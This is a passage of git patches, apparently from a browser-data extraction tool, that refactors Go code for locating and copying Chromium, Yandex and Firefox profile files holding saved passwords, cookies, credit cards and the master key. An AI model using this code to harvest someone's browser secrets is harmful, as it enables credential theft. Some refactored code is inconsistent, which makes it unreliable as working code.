- github.com/godbus/dbus/v5 v5.0.3
github.com/json-iterator/go v1.1.12
- github.com/jszwec/csvutil v1.3.0
github.com/mattn/go-sqlite3 v1.14.9
- github.com/ppacher/go-dbus-keyring v1.0.1
github.com/tidwall/gjson v1.9.3
github.com/urfave/cli/v2 v2.2.0
golang.org/x/crypto v0.0.0-20200604202706-70a84ac30bf9
diff --git a/go.sum b/go.sum
index 08103ca..87e5a74 100644
--- a/go.sum
+++ b/go.sum
@@ -6,13 +6,9 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
-github.com/godbus/dbus/v5 v5.0.3 h1:ZqHaoEF7TBzh4jzPmqVhE/5A1z9of6orkAe5uHoAeME=
-github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
-github.com/jszwec/csvutil v1.3.0 h1:d0zzXKQYvc22b4La5Wcp97CDgQ7JDLGJLm2NWqJGEYg=
-github.com/jszwec/csvutil v1.3.0/go.mod h1:Rpu7Uu9giO9subDyMCIQfHVDuLrcaC36UA4YcJjGBkg=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 h1:ZqeYNhU3OHLH3mGKHDcjJRFFRrJa6eAM5H+CtDdOsPc=
@@ -21,8 +17,6 @@ github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9G
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0=
-github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE=
github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 9c02b40..7d5b7cc 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -1,16 +1,10 @@
package browser
import (
- "fmt"
- "io/fs"
- "io/ioutil"
"os"
- "path"
- "path/filepath"
"strings"
"hack-browser-data/internal/browser/data"
- "hack-browser-data/internal/browser/item"
)
type Browser interface {
@@ -90,185 +84,6 @@ func pickFirefox(name string) []Browser {
return nil
}
-type chromium struct {
- browserInfo *browserInfo
- items []item.Item
- itemPaths map[item.Item]string
-}
-
-// newChromium 根据浏览器信息生成 Browser Interface
-func newChromium(info *browserInfo, items []item.Item) (*chromium, error) {
- c := &chromium{
- browserInfo: info,
- items: items,
- }
- absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath))
- // TODO: Handle file path is not exist
- if !isFileExist(absProfilePath) {
- return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
- }
- itemsPaths, err := getChromiumItemPath(absProfilePath, c.items)
- if err != nil {
- return nil, err
- }
- c.itemPaths = itemsPaths
- return c, err
-}
-
-func (c *chromium) GetName() string {
- return c.browserInfo.name
-}
-
-func (c *chromium) GetBrowsingData() []data.BrowsingData {
- var browsingData []data.BrowsingData
- for item := range c.itemPaths {
- d := item.NewBrowsingData()
- if d != nil {
- browsingData = append(browsingData, d)
- }
- }
- return browsingData
-}
-
-func (c *chromium) CopyItemFileToLocal() error {
- for item, sourcePath := range c.itemPaths {
- var dstFilename = item.FileName()
- locals, _ := filepath.Glob("*")
- for _, v := range locals {
- if v == dstFilename {
- err := os.Remove(dstFilename)
- // TODO: Should Continue all iteration error
- if err != nil {
- return err
- }
- }
- }
-
- // TODO: Handle read file error
- sourceFile, err := ioutil.ReadFile(sourcePath)
- if err != nil {
- fmt.Println(err.Error())
- }
- err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
- if err != nil {
- return err
- }
- }
- return nil
-}
-
-type firefox struct {
- browserInfo *browserInfo
- items []item.Item
- itemPaths map[item.Item]string
- multiItemPaths map[string]map[item.Item]string
-}
-
-// newFirefox
-func newMultiFirefox(info *browserInfo, items []item.Item) ([]*firefox, error) {
- f := &firefox{
- browserInfo: info,
- items: items,
- }
- multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items)
- if err != nil {
- if strings.Contains(err.Error(), "profile path is not exist") {
- fmt.Println(err)
- return nil, nil
- }
- panic(err)
- }
- var firefoxList []*firefox
- for name, value := range multiItemPaths {
- firefoxList = append(firefoxList, &firefox{
- browserInfo: &browserInfo{
- name: name,
- masterKey: nil,
- },
- items: items,
- itemPaths: value,
- })
- }
- return firefoxList, nil
-}
-
-func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
- var multiItemPaths = make(map[string]map[item.Item]string)
- absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
- // TODO: Handle read file error
- if !isFileExist(absProfilePath) {
- return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
- }
- err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths))
- return multiItemPaths, err
-}
-
-func (f *firefox) CopyItemFileToLocal() error {
- for item, sourcePath := range f.itemPaths {
- var dstFilename = item.FileName()
- locals, _ := filepath.Glob("*")
- for _, v := range locals {
- if v == dstFilename {
- err := os.Remove(dstFilename)
- // TODO: Should Continue all iteration error
- if err != nil {
- return err
- }
- }
- }
-
- // TODO: Handle read file name error
- sourceFile, err := ioutil.ReadFile(sourcePath)
- if err != nil {
- fmt.Println(err.Error())
- }
- err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
- if err != nil {
- return err
- }
- }
- return nil
-}
-
-func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
- return func(path string, info fs.FileInfo, err error) error {
- for _, v := range items {
- if info.Name() == v.DefaultName() {
- parentDir := getParentDir(path)
- if _, exist := multiItemPaths[parentDir]; exist {
- multiItemPaths[parentDir][v] = path
- } else {
- multiItemPaths[parentDir] = map[item.Item]string{v: path}
- }
- }
- }
- return err
- }
-}
-
-func getParentDir(absPath string) string {
- return filepath.Base(filepath.Dir(absPath))
-}
-
-func (f *firefox) GetMasterKey() ([]byte, error) {
- return f.browserInfo.masterKey, nil
-}
-
-func (f *firefox) GetName() string {
- return f.browserInfo.name
-}
-
-func (f *firefox) GetBrowsingData() []data.BrowsingData {
- var browsingData []data.BrowsingData
- for item := range f.itemPaths {
- d := item.NewBrowsingData()
- if d != nil {
- browsingData = append(browsingData, d)
- }
- }
- return browsingData
-}
-
func ListBrowser() []string {
var l []string
for c := range chromiumList {
@@ -313,39 +128,3 @@ const (
coccocName = "CocCoc"
yandexName = "Yandex"
)
-
-var defaultFirefoxItems = []item.Item{
- item.firefoxKey4,
- item.firefoxPassword,
- item.firefoxCookie,
- item.firefoxBookmark,
- item.firefoxHistory,
- item.firefoxDownload,
- item.firefoxCreditCard,
- item.firefoxLocalStorage,
- item.firefoxExtension,
-}
-
-var defaultYandexItems = []item.Item{
- item.chromiumKey,
- item.yandexPassword,
- item.chromiumCookie,
- item.chromiumBookmark,
- item.chromiumHistory,
- item.chromiumDownload,
- item.yandexCreditCard,
- item.chromiumLocalStorage,
- item.chromiumExtension,
-}
-
-var defaultChromiumItems = []item.Item{
- item.chromiumKey,
- item.chromiumPassword,
- item.chromiumCookie,
- item.chromiumBookmark,
- item.chromiumHistory,
- item.chromiumDownload,
- item.chromiumCreditCard,
- item.chromiumLocalStorage,
- item.chromiumExtension,
-}
diff --git a/internal/browser/browser_darwin.go b/internal/browser/browser_darwin.go
index 7a54eaa..d582ca1 100644
--- a/internal/browser/browser_darwin.go
+++ b/internal/browser/browser_darwin.go
@@ -8,7 +8,7 @@ import (
"golang.org/x/crypto/pbkdf2"
- "hack-browser-data/internal/browser/item"
+ "hack-browser-data/internal/item"
)
var (
@@ -18,43 +18,43 @@ var (
}{
"chrome": {
browserInfo: chromeInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"edge": {
browserInfo: edgeInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"chromium": {
browserInfo: chromiumInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"chrome-beta": {
browserInfo: chromeBetaInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"opera": {
browserInfo: operaInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"opera-gx": {
browserInfo: operaGXInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"vivaldi": {
browserInfo: vivaldiInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"coccoc": {
browserInfo: coccocInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"brave": {
browserInfo: braveInfo,
- items: defaultChromiumItems,
+ items: item.DefaultChromium,
},
"yandex": {
browserInfo: yandexInfo,
- items: defaultYandexItems,
+ items: item.DefaultYandex,
},
}
firefoxList = map[string]struct {
diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go
index 2ae20d1..3f8e91b 100644
--- a/internal/browser/browser_windows.go
+++ b/internal/browser/browser_windows.go
@@ -7,14 +7,16 @@ import (
"github.com/tidwall/gjson"
"hack-browser-data/internal/browser/item"
+
"hack-browser-data/internal/decrypter"
+ item2 "hack-browser-data/internal/item"
"hack-browser-data/internal/utils"
)
var (
chromiumList = map[string]struct {
browserInfo *browserInfo
- items []item.Item
+ items []item2.Item
}{
"chrome": {
browserInfo: chromeInfo,
@@ -31,7 +33,7 @@ var (
}
firefoxList = map[string]struct {
browserInfo *browserInfo
- items []item.Item
+ items []item2.Item
}{
"firefox": {
browserInfo: firefoxInfo,
diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go
index b3063e0..874b673 100644
--- a/internal/browser/chromium/chromium.go
+++ b/internal/browser/chromium/chromium.go
@@ -9,7 +9,7 @@ import (
"strings"
"hack-browser-data/internal/browser/data"
- "hack-browser-data/internal/browser/item"
+ "hack-browser-data/internal/item"
)
type chromium struct {
@@ -21,15 +21,15 @@ type chromium struct {
itemPaths map[item.Item]string
}
-// newChromium 根据浏览器信息生成 Browser Interface
-func newChromium(name, storage, profilePath string, items []item.Item) (*chromium, error) {
+// New 根据浏览器信息生成 Browser Interface
+func New(name, storage, profilePath string, items []item.Item) (*chromium, error) {
c := &chromium{
name: name,
storage: storage,
profilePath: profilePath,
items: items,
}
- absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath))
+ absProfilePath := path.Join(homeDir, filepath.Clean(c.ProfilePath))
// TODO: Handle file path is not exist
if !isFileExist(absProfilePath) {
return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
@@ -59,7 +59,7 @@ func (c *chromium) GetBrowsingData() []data.BrowsingData {
func (c *chromium) CopyItemFileToLocal() error {
for item, sourcePath := range c.itemPaths {
- var dstFilename = item.FileName()
+ var dstFilename = item.TempName()
locals, _ := filepath.Glob("*")
for _, v := range locals {
if v == dstFilename {
@@ -94,7 +94,7 @@ func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepat
return func(path string, info os.FileInfo, err error) error {
for _, it := range items {
switch {
- case it.DefaultName() == info.Name():
+ case it.FileName() == info.Name():
if it == it.chromiumKey {
itemPaths[it] = path
}
diff --git a/internal/browser/data/bookmark.go b/internal/browser/data/bookmark.go
index 7c21c30..dae1913 100644
--- a/internal/browser/data/bookmark.go
+++ b/internal/browser/data/bookmark.go
@@ -8,10 +8,15 @@ import (
"github.com/tidwall/gjson"
"hack-browser-data/internal/browser/item"
+
+ item2 "hack-browser-data/internal/item"
"hack-browser-data/internal/utils"
)
-type ChromiumBookmark []bookmark
+type ChromiumBookmark struct {
+ bookmarks []bookmark
+ item item2.Item
+}
func (c *ChromiumBookmark) Parse(masterKey []byte) error {
bookmarks, err := utils.ReadFile(item.ChromiumBookmarkFilename)
@@ -27,8 +32,8 @@ func (c *ChromiumBookmark) Parse(masterKey []byte) error {
})
}
// TODO: 使用泛型重构
- sort.Slice(*c, func(i, j int) bool {
- return (*c)[i].DateAdded.After((*c)[j].DateAdded)
+ sort.Slice(c.bookmarks, func(i, j int) bool {
+ return (c.bookmarks)[i].DateAdded.After((c.bookmarks)[j].DateAdded)
})
return nil
}
diff --git a/internal/browser/data/browsingdata.go b/internal/browser/data/browsingdata.go
index b5586ef..f01dadd 100644
--- a/internal/browser/data/browsingdata.go
+++ b/internal/browser/data/browsingdata.go
@@ -1,6 +1,8 @@
package data
-import "time"
+import (
+ "time"
+)
type BrowsingData interface {
Parse(masterKey []byte) error
diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go
index 2b4484a..12a22da 100644
--- a/internal/browser/firefox/firefox.go
+++ b/internal/browser/firefox/firefox.go
@@ -1 +1,129 @@
package firefox
+
+import (
+ "fmt"
+ "io/fs"
+ "io/ioutil"
+ "os"
+ "path"
+ "path/filepath"
+ "strings"
+
+ "hack-browser-data/internal/browser/data"
+ "hack-browser-data/internal/item"
+)
+
+type firefox struct {
+ name string
+ storage string
+ profilePath string
+ masterKey []byte
+ items []item.Item
+ itemPaths map[item.Item]string
+ multiItemPaths map[string]map[item.Item]string
+}
+
+// New
+func New(info *browserInfo, items []item.Item) ([]*firefox, error) {
+ f := &firefox{
+ browserInfo: info,
+ items: items,
+ }
+ multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items)
+ if err != nil {
+ if strings.Contains(err.Error(), "profile path is not exist") {
+ fmt.Println(err)
+ return nil, nil
+ }
+ panic(err)
+ }
+ var firefoxList []*firefox
+ for name, value := range multiItemPaths {
+ firefoxList = append(firefoxList, &firefox{
+ browserInfo: &browserInfo{
+ name: name,
+ masterKey: nil,
+ },
+ items: items,
+ itemPaths: value,
+ })
+ }
+ return firefoxList, nil
+}
+
+func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
+ var multiItemPaths = make(map[string]map[item.Item]string)
+ absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
+ // TODO: Handle read file error
+ if !isFileExist(absProfilePath) {
+ return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
+ }
+ err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths))
+ return multiItemPaths, err
+}
+
+func (f *firefox) CopyItemFileToLocal() error {
+ for item, sourcePath := range f.itemPaths {
+ var dstFilename = item.TempName()
+ locals, _ := filepath.Glob("*")
+ for _, v := range locals {
+ if v == dstFilename {
+ err := os.Remove(dstFilename)
+ // TODO: Should Continue all iteration error
+ if err != nil {
+ return err
+ }
+ }
+ }
+
+ // TODO: Handle read file name error
+ sourceFile, err := ioutil.ReadFile(sourcePath)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
+ return func(path string, info fs.FileInfo, err error) error {
+ for _, v := range items {
+ if info.Name() == v.FileName() {
+ parentDir := getParentDir(path)
+ if _, exist := multiItemPaths[parentDir]; exist {
+ multiItemPaths[parentDir][v] = path
+ } else {
+ multiItemPaths[parentDir] = map[item.Item]string{v: path}
+ }
+ }
+ }
+ return err
+ }
+}
+
+func getParentDir(absPath string) string {
+ return filepath.Base(filepath.Dir(absPath))
+}
+
+func (f *firefox) GetMasterKey() ([]byte, error) {
+ return f.masterKey, nil
+}
+
+func (f *firefox) GetName() string {
+ return f.name
+}
+
+func (f *firefox) GetBrowsingData() []data.BrowsingData {
+ var browsingData []data.BrowsingData
+ for item := range f.itemPaths {
+ d := item.NewBrowsingData()
+ if d != nil {
+ browsingData = append(browsingData, d)
+ }
+ }
+ return browsingData
+}
diff --git a/internal/browser/item/filename.go b/internal/browser/item/filename.go
deleted file mode 100644
index d8172ab..0000000
--- a/internal/browser/item/filename.go
+++ /dev/null
@@ -1,47 +0,0 @@
-package item
-
-// item's default filename
-const (
- FileChromiumKey = "Local State"
- FileChromiumCredit = "Web Data"
- FileChromiumPassword = "Login Data"
- FileChromiumHistory = "History"
- FileChromiumDownload = "History"
- FileChromiumCookie = "Cookies"
- FileChromiumBookmark = "Bookmarks"
- FileChromiumLocalStorage = "chromiumLocalStorage"
-
- FileYandexPassword = "Ya PassMan Data"
- FileYandexCredit = "Ya Credit Cards"
-
- FileFirefoxKey4 = "key4.db"
- FileFirefoxCookie = "cookies.sqlite"
- FileFirefoxPassword = "logins.json"
- FileFirefoxData = "places.sqlite"
-
- FileUnknownItem = "unknown item"
- FileUnsupportedItem = "unsupported item"
-)
-
-// item's renamed filename
-const (
- TempChromiumKey = "TempChromiumKey"
- TempChromiumCredit = "TempChromiumCredit"
- TempChromiumPassword = "TempChromiumPassword"
- TempChromiumHistory = "TempChromiumHistory"
- TempChromiumDownload = "TempChromiumDownload"
- TempChromiumCookie = "TempChromiumCookie"
- TempChromiumBookmark = "TempChromiumBookmark"
- TempChromiumLocalStorage = "TempChromiumLocalStorage"
-
- TempYandexPassword = "TempYandexPassword"
- TempYandexCredit = "TempYandexCredit"
-
- TempFirefoxKey4 = "TempFirefoxKey4"
- TempFirefoxCookie = "TempFirefoxCookie"
- TempFirefoxPassword = "TempFirefoxPassword"
- TempFirefoxDownload = "TempFirefoxDownload"
- TempFirefoxHistory = "TempFirefoxHistory"
- TempFirefoxBookmark = "TempFirefoxBookmark"
- TempFirefoxData = "TempFirefoxData"
-)
diff --git a/internal/browser/item/item.go b/internal/browser/item/item.go
deleted file mode 100644
index 0d1738c..0000000
--- a/internal/browser/item/item.go
+++ /dev/null
@@ -1,165 +0,0 @@
-package item
-
-import (
- data2 "hack-browser-data/internal/browser/data"
-)
-
-type Item int
-
-const (
- ItemChromiumKey Item = iota
- ItemChromiumPassword
- ItemChromiumCookie
- ItemChromiumBookmark
- ItemChromiumHistory
- ItemChromiumDownload
- ItemChromiumCreditCard
- ItemChromiumLocalStorage
- ItemChromiumExtension
-
- ItemYandexPassword
- ItemYandexCreditCard
-
- ItemFirefoxKey4
- ItemFirefoxPassword
- ItemFirefoxCookie
- ItemFirefoxBookmark
- ItemFirefoxHistory
- ItemFirefoxDownload
- ItemFirefoxCreditCard
- ItemFirefoxLocalStorage
- ItemFirefoxExtension
-)
-
-func (i Item) DefaultName() string {
- switch i {
- case ItemChromiumKey:
- return ChromiumKey
- case ItemChromiumPassword:
- return ChromiumPassword
- case ItemChromiumCookie:
- return ChromiumCookie
- case ItemChromiumBookmark:
- return ChromiumBookmark
- case ItemChromiumDownload:
- return ChromiumDownload
- case ItemChromiumLocalStorage:
- return ChromiumLocalStorage
- case ItemChromiumCreditCard:
- return ChromiumCredit
- case ItemChromiumExtension:
- return UnknownItem
- case ItemChromiumHistory:
- return ChromiumHistory
- case ItemYandexPassword:
- return YandexPassword
- case ItemYandexCreditCard:
- return YandexCredit
- case ItemFirefoxKey4:
- return FirefoxKey4
- case ItemFirefoxPassword:
- return FirefoxPassword
- case ItemFirefoxCookie:
- return FirefoxCookie
- case ItemFirefoxBookmark:
- return FirefoxData
- case ItemFirefoxDownload:
- return FirefoxData
- case ItemFirefoxLocalStorage:
- return UnsupportedItem
- case ItemFirefoxCreditCard:
- return UnsupportedItem
- case ItemFirefoxHistory:
- return FirefoxData
- case ItemFirefoxExtension:
- return UnsupportedItem
- default:
- return UnknownItem
- }
-}
-
-func (i Item) FileName() string {
- switch i {
- case chromiumKey:
- return TempChromiumKey
- case chromiumPassword:
- return TempChromiumPassword
- case chromiumCookie:
- return ChromiumCookieFilename
- case chromiumBookmark:
- return ChromiumBookmarkFilename
- case chromiumDownload:
- return ChromiumDownloadFilename
- case chromiumLocalStorage:
- return ChromiumLocalStorageFilename
- case chromiumCreditCard:
- return TempChromiumCredit
- case chromiumHistory:
- return TempChromiumHistory
- case chromiumExtension:
- return UnsupportedItem
- case yandexPassword:
- return TempChromiumPassword
- case yandexCreditCard:
- return TempChromiumCredit
- case firefoxKey4:
- return FirefoxKey4Filename
- case firefoxPassword:
- return FirefoxPasswordFilename
- case firefoxCookie:
- return FirefoxCookieFilename
- case firefoxBookmark:
- return FirefoxBookmarkFilename
- case firefoxDownload:
- return FirefoxDownloadFilename
- case firefoxLocalStorage:
- return UnsupportedItem
- case firefoxCreditCard:
- return UnsupportedItem
- case firefoxHistory:
- return FirefoxHistoryFilename
- case firefoxExtension:
- return UnsupportedItem
- default:
- return UnknownItem
- }
-}
-
-func (i Item) NewBrowsingData() data2.BrowsingData {
- switch i {
- case chromiumKey:
- return nil
- case chromiumPassword:
- return &data2.ChromiumPassword{}
- case chromiumCookie:
- return &data2.ChromiumCookie{}
- case chromiumBookmark:
- return &data2.ChromiumBookmark{}
- case chromiumDownload:
- return &data2.ChromiumDownload{}
- case chromiumLocalStorage:
- return nil
- case chromiumCreditCard:
- return &data2.ChromiumCreditCard{}
- case chromiumExtension:
- return nil
- case chromiumHistory:
- return &data2.ChromiumHistory{}
- case yandexPassword:
- return &data2.ChromiumPassword{}
- case yandexCreditCard:
- return &data2.ChromiumCreditCard{}
- case firefoxPassword:
- return &data2.FirefoxPassword{}
- case firefoxCookie:
- return &data2.FirefoxCookie{}
- case firefoxBookmark:
- return &data2.FirefoxBookmark{}
- case firefoxDownload:
- return &data2.FirefoxDownload{}
- case firefoxHistory:
- return &data2.FirefoxHistory{}
- default:
- return nil
- }
-}
diff --git a/internal/item/filename.go b/internal/item/filename.go
new file mode 100644
index 0000000..15741d3
--- /dev/null
+++ b/internal/item/filename.go
@@ -0,0 +1,26 @@
+package item
+
+// item's default filename
+const (
+ fileChromiumKey = "Local State"
+ fileChromiumCredit = "Web Data"
+ fileChromiumPassword = "Login Data"
+ fileChromiumHistory = "History"
+ fileChromiumDownload = "History"
+ fileChromiumCookie = "Cookies"
+ fileChromiumBookmark = "Bookmarks"
+ fileChromiumLocalStorage = "chromiumLocalStorage"
+
+ fileYandexPassword = "Ya PassMan Data"
+ fileYandexCredit = "Ya Credit Cards"
+
+ fileFirefoxKey4 = "key4.db"
+ fileFirefoxCookie = "cookies.sqlite"
+ fileFirefoxPassword = "logins.json"
+ fileFirefoxData = "places.sqlite"
+)
+
+const (
+ UnknownItem = "unknown item"
+ UnsupportedItem = "unsupported item"
+)
diff --git a/internal/item/item.go b/internal/item/item.go
new file mode 100644
index 0000000..79f3933
--- /dev/null
+++ b/internal/item/item.go
@@ -0,0 +1,201 @@
+package item
+
+import (
+ "hack-browser-data/internal/browser/data"
+)
+
+type Item int
+
+const (
+ ChromiumKey Item = iota
+ ChromiumPassword
+ ChromiumCookie
+ ChromiumBookmark
+ ChromiumHistory
+ ChromiumDownload
+ ChromiumCreditCard
+ ChromiumLocalStorage
+ ChromiumExtension
+
+ YandexPassword
+ YandexCreditCard
+
+ FirefoxKey4
+ FirefoxPassword
+ FirefoxCookie
+ FirefoxBookmark
+ FirefoxHistory
+ FirefoxDownload
+ FirefoxCreditCard
+ FirefoxLocalStorage
+ FirefoxExtension
+)
+
+var DefaultFirefox = []Item{
+ FirefoxKey4,
+ FirefoxPassword,
+ FirefoxCookie,
+ FirefoxBookmark,
+ FirefoxHistory,
+ FirefoxDownload,
+ FirefoxCreditCard,
+ FirefoxLocalStorage,
+ FirefoxExtension,
+}
+
+var DefaultYandex = []Item{
+ ChromiumKey,
+ ChromiumCookie,
+ ChromiumBookmark,
+ ChromiumHistory,
+ ChromiumDownload,
+ ChromiumLocalStorage,
+ ChromiumExtension,
+ YandexPassword,
+ YandexCreditCard,
+}
+
+var DefaultChromium = []Item{
+ ChromiumKey,
+ ChromiumPassword,
+ ChromiumCookie,
+ ChromiumBookmark,
+ ChromiumHistory,
+ ChromiumDownload,
+ ChromiumCreditCard,
+ ChromiumLocalStorage,
+ ChromiumExtension,
+}
+
+func (i Item) FileName() string {
+ switch i {
+ case ChromiumKey:
+ return fileChromiumKey
+ case ChromiumPassword:
+ return fileChromiumPassword
+ case ChromiumCookie:
+ return fileChromiumCookie
+ case ChromiumBookmark:
+ return fileChromiumBookmark
+ case ChromiumDownload:
+ return fileChromiumDownload
+ case ChromiumLocalStorage:
+ return fileChromiumLocalStorage
+ case ChromiumCreditCard:
+ return fileChromiumCredit
+ case ChromiumExtension:
+ return UnknownItem
+ case ChromiumHistory:
+ return fileChromiumHistory
+ case YandexPassword:
+ return fileYandexPassword
+ case YandexCreditCard:
+ return fileYandexCredit
+ case FirefoxKey4:
+ return fileFirefoxKey4
+ case FirefoxPassword:
+ return fileFirefoxPassword
+ case FirefoxCookie:
+ return fileFirefoxCookie
+ case FirefoxBookmark:
+ return fileFirefoxData
+ case FirefoxDownload:
+ return fileFirefoxData
+ case FirefoxLocalStorage:
+ return UnsupportedItem
+ case FirefoxCreditCard:
+ return UnsupportedItem
+ case FirefoxHistory:
+ return fileFirefoxData
+ case FirefoxExtension:
+ return UnsupportedItem
+ default:
+ return UnknownItem
+ }
+}
+
+func (i Item) String() string {
+ switch i {
+ case ChromiumKey:
+ return "chromiumKey"
+ case ChromiumPassword:
+ return "password"
+ case ChromiumCookie:
+ return "cookie"
+ case ChromiumBookmark:
+ return "bookmark"
+ case ChromiumDownload:
+ return "download"
+ case ChromiumLocalStorage:
+ return "localStorage"
+ case ChromiumCreditCard:
+ return "creditCard"
+ case ChromiumExtension:
+ return UnsupportedItem
+ case ChromiumHistory:
+ return "history"
+ case YandexPassword:
+ return "yandexPassword"
+ case YandexCreditCard:
+ return "yandexCreditCard"
+ case FirefoxKey4:
+ return "firefoxKey4"
+ case FirefoxPassword:
+ return "firefoxPassword"
+ case FirefoxCookie:
+ return "firefoxCookie"
+ case FirefoxBookmark:
+ return "firefoxBookmark"
+ case FirefoxDownload:
+ return "firefoxDownload"
+ case FirefoxHistory:
+ return "firefoxHistory"
+ case FirefoxLocalStorage:
+ return UnsupportedItem
+ case FirefoxCreditCard:
+ return UnsupportedItem
+ case FirefoxExtension:
+ return UnsupportedItem
+ default:
+ return UnknownItem
+ }
+}
+
+func (i Item) NewBrowsingData() data.BrowsingData {
+ switch i {
+ case ChromiumKey:
+ return nil
+ case ChromiumPassword:
+ return &data.ChromiumPassword{}
+ case ChromiumCookie:
+ return &data.ChromiumCookie{}
+ case ChromiumBookmark:
+ return &data.ChromiumBookmark{}
+ case ChromiumDownload:
+ return &data.ChromiumDownload{}
+ case ChromiumLocalStorage:
+ return nil
+ case ChromiumCreditCard:
+ return &data.ChromiumCreditCard{}
+ case ChromiumExtension:
+ return nil
+ case ChromiumHistory:
+ return &data.ChromiumHistory{}
+ case YandexPassword:
+ return &data.ChromiumPassword{}
+ case YandexCreditCard:
+ return &data.ChromiumCreditCard{}
+ case FirefoxPassword:
+ return &data.FirefoxPassword{}
+ case FirefoxCookie:
+ return &data.FirefoxCookie{}
+ case FirefoxBookmark:
+ return &data.FirefoxBookmark{}
+ case FirefoxDownload:
+ return &data.FirefoxDownload{}
+ case FirefoxHistory:
+ return &data.FirefoxHistory{}
+ default:
+ return nil
+ }
+}
diff --git a/internal/browser/item/sql.go b/internal/item/sql.go
similarity index 100%
rename from internal/browser/item/sql.go
rename to internal/item/sql.go
From 6e05315ac6674914dc9887a65a0638b8d9ac23f8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sat, 2 Apr 2022 16:59:34 +0800
Subject: [PATCH 14/33] refactor: format project layout
---
cmd/cmd.go | 2 +-
internal/browser/browser.go | 2 +-
internal/browser/browser_test.go | 2 +-
internal/browser/chromium/chromium.go | 2 +-
internal/browser/firefox/firefox.go | 2 +-
internal/{browser => }/data/bookmark.go | 0
internal/{browser => }/data/browsingdata.go | 0
internal/{browser => }/data/cookie.go | 1 +
